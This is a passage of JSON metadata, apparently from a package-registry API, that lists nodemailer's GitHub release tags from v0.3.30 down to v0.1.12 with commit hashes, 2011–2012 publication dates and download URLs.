4c04f63ce7acdd421","kind":"tag","published_at":"2012-11-02T20:12:16.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.30","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.30/manifests","release_url":null},{"name":"v0.3.29","sha":"3646058c65abc830f8516f3f8d7067decf9bb2e1","kind":"tag","published_at":"2012-10-29T09:20:39.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.29","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.29/manifests","release_url":null},{"name":"v0.3.28","sha":"046f5243bd6c301867fae0ebda0673cb0b4ad371","kind":"tag","published_at":"2012-09-13T07:03:10.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.28","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.28/manifests","release_url":null},{"name":"v0.3.27","sha":"688388bd0b2eb419bc608896f6842f3b48298774","kind":"tag","published_at":"2012-09-10T10:32:28.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.27","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.27/manifests","release_url":null},{"name":"v0.3.26","sha":"194291d313cf6026636ed3051aad099b323dd16f","kind":"tag","published_at":"2012-09-07T06:51:24.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.26","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.26/manifests","release_url":null},{"name":"v0.3.25","sha":"6356572ae700e9765701d7eb33a59bc7c0fff778","kind":"tag","published_at":"2012-09-04T16:08:43.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.25","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.25/manifests","release_url":null},{"name":"v0.3.22","sha":"b52941a0188f3df96337c5868310c110472376f4","kind":"tag","published_at":"2012-08-07T13:37:28.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.22","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.22/manifests","release_url":null},{"name":"v0.3.21","sha":"38d7e5e0d9e5a779777d5d8ac0b1544878f44c1d","kind":"tag","published_at":"2012-07-17T10:51:25.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.21","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.21/manifests","release_url":null},{"name":"v0.3.20","sha":"ac746563b713f466a73dc8e04b13402a05ce5399","kind":"tag","published_at":"2012-05-09T07:56:17.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.20","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.20/manifests","release_url":null},{"name":"v0.3.19","sha":"896826037220daa8da2f4dd78dd74f3c2ffedc3e","kind":"tag","published_at":"2012-05-02T20:17:34.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.19","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.19/manifests","release_url":null},{"name":"v0.3.18","sha":"02c57f05c779c4509146741af6ae4acfed649ea0","kind":"tag","published_at":"2012-04-16T11:34:15.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.18","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.18/manifests","release_url":null},{"name":"v0.3.17","sha":"903dc31826b715ad94611c6136ec5a439baa6e97","kind":"tag","published_at":"2012-04-15T04:45:47.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.17","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.17/manifests","release_url":null},{"name":"v0.3.16","sha":"ef5354afd0ca9a2d8f15f574f9418b819ce36f03","kind":"tag","published_at":"2012-04-14T20:10:00.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.16","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.16/manifests","release_url":null},{"name":"v0.3.15","sha":"0059ec0cf8e84ef5f45dd37753501fb87f6c6a6b","kind":"tag","published_at":"2012-04-14T19:31:39.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.15","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.15/manifests","release_url":null},{"name":"v0.3.14","sha":"92ea2ea1c86fc5ccfd36ee96c66cbea6eb46c93c","kind":"tag","published_at":"2012-04-03T09:19:59.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.14","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.14/manifests","release_url":null},{"name":"v0.3.13","sha":"52cf687f88e74e7188c6cd87a09d830a9a413060","kind":"tag","published_at":"2012-04-03T08:18:08.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.13","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.13/manifests","release_url":null},{"name":"v0.3.12","sha":"d2d3debcd5f855e7aa66cce6b71ec85c23b4e328","kind":"tag","published_at":"2012-03-28T17:53:29.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.12","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.12/manifests","release_url":null},{"name":"v0.3.11","sha":"bda8578f2e34d6635cb93ac454943533596a62dc","kind":"tag","published_at":"2012-03-27T11:20:45.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.11","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.11/manifests","release_url":null},{"name":"v0.3.10","sha":"26794a7c1234d5b34f489f804e05d0bacdaebbe8","kind":"tag","published_at":"2012-03-23T11:41:11.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.10","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.10/manifests","release_url":null},{"name":"v0.3.9","sha":"c075b9b93688b45bbd05c197ec5ab16fe88bdb17","kind":"tag","published_at":"2012-03-21T09:46:01.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.9","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.9/manifests","release_url":null},{"name":"v0.3.8","sha":"9285f5c3fdfb13481fed083a43f693e14f785b99","kind":"tag","published_at":"2012-03-19T09:05:59.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.8","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.8/manifests","release_url":null},{"name":"v0.3.7","sha":"d61ab936f420403469da894bed47768a7ca50e89","kind":"tag","published_at":"2012-03-13T20:04:14.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.7","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.7/manifests","release_url":null},{"name":"v0.3.6","sha":"cc5b5ae9b1f35b72c2c93f61a80c3ad5f0f55c33","kind":"tag","published_at":"2012-03-05T20:53:57.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.6","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.6/manifests","release_url":null},{"name":"v0.3.5","sha":"1377f1ae1ee5599a350f4564da2be65917f7d2e2","kind":"tag","published_at":"2012-03-02T11:10:28.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.5","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.5/manifests","release_url":null},{"name":"v0.3.4","sha":"80bd5a37bd1c40228f51876fc53c390a30888870","kind":"tag","published_at":"2012-02-28T10:53:27.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.4","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.4/manifests","release_url":null},{"name":"v0.3.3","sha":"e151932cd0d3b4421733bb8c1a8c06c9f112fc0e","kind":"tag","published_at":"2012-02-20T08:31:14.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.3","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.3/manifests","release_url":null},{"name":"v0.3.2","sha":"aae3749bfb47d42c8c16412d117a13a844172129","kind":"tag","published_at":"2012-02-15T09:56:32.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.2","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.2/manifests","release_url":null},{"name":"v0.3.1","sha":"d7688134397d43302c4a605717bc822f1cc0e96e","kind":"tag","published_at":"2012-02-10T21:38:49.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.1/manifests","release_url":null},{"name":"v0.3.0","sha":"7782176d8b434fd6379f4197511ed635bdbba9e3","kind":"tag","published_at":"2012-02-10T14:14:03.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.3.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.3.0/manifests","release_url":null},{"name":"v0.2.4","sha":"3dcd909eef87ee19da16afee5612a96df83fd98b","kind":"tag","published_at":"2011-12-08T11:45:46.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.2.4","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.2.4/manifests","release_url":null},{"name":"v0.2.3","sha":"b43fc786d86aba0957bb0639d4ca828cbb8fec84","kind":"tag","published_at":"2011-10-26T08:48:07.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.2.3","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.2.3/manifests","release_url":null},{"name":"v0.2.2","sha":"57d735ee22e78f10beaf207fd58b1cdafc1ddd3a","kind":"tag","published_at":"2011-08-24T14:26:30.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.2.2","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.2.2/manifests","release_url":null},{"name":"v0.2.0","sha":"70502d9baed14e2c327c347dd6509b0121e6c0a8","kind":"tag","published_at":"2011-08-13T20:35:17.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.2.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.2.0/manifests","release_url":null},{"name":"v0.1.24","sha":"e834625a88e3e6f8986a1df5144809ca59e556d7","kind":"tag","published_at":"2011-08-05T08:42:29.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.1.24","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.1.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.1.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.24/manifests","release_url":null},{"name":"v0.1.23","sha":"4dbb36a296af94cfbc9cc0b1c5eebd3acbaee585","kind":"tag","published_at":"2011-08-03T09:21:56.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.1.23","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.1.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.1.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.23/manifests","release_url":null},{"name":"v0.1.22","sha":"0ee096159bcca9783ee952ca75116ed67d18faa4","kind":"tag","published_at":"2011-07-26T17:52:08.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.1.22","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.1.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.1.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.22/manifests","release_url":null},{"name":"v0.1.21","sha":"9f49e6e895e060f3f1ef89cb1d98c7911060bbb9","kind":"tag","published_at":"2011-07-25T11:09:04.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.1.21","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.1.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.1.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.21/manifests","release_url":null},{"name":"v0.1.20","sha":"a05b813b9668a00eafa89e73830c045b7821252b","kind":"tag","published_at":"2011-07-24T07:58:57.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.1.20","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.1.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.1.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.20/manifests","release_url":null},{"name":"v0.1.19","sha":"47dbc2d73f7f3b369801185d4d08fecbe7c680c1","kind":"tag","published_at":"2011-07-21T09:40:18.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.1.19","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.1.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.1.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.19/manifests","release_url":null},{"name":"v0.1.17","sha":"5c9652180a3a598d73053be58524bf322f94927c","kind":"tag","published_at":"2011-06-09T11:47:21.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.1.17","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.1.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.1.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.17/manifests","release_url":null},{"name":"v0.1.16","sha":"cff633f2419abc08031efa74313d8012cba23a33","kind":"tag","published_at":"2011-06-09T07:44:29.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.1.16","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.1.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.1.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.16/manifests","release_url":null},{"name":"v0.1.15","sha":"fbcebeb3243d2fe44bd1533b20693247210cba6d","kind":"tag","published_at":"2011-05-24T17:23:10.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.1.15","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.1.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.1.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.15/manifests","release_url":null},{"name":"v0.1.14","sha":"664e0509d1c05db529a3ffec109925a10d4280da","kind":"tag","published_at":"2011-05-24T13:23:46.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.1.14","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.1.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.1.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.14/manifests","release_url":null},{"name":"v0.1.13","sha":"261de3ccfaba2a4eddf4cae89f96a886da214c75","kind":"tag","published_at":"2011-05-17T08:19:32.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.1.13","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.1.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.1.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.13/manifests","release_url":null},{"name":"v0.1.12","sha":"b3e3b22b3433dc04a7c31380414cac273adc464b","kind":"tag","published_at":"2011-05-17T07:53:31.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.1.12","html_url":"https:/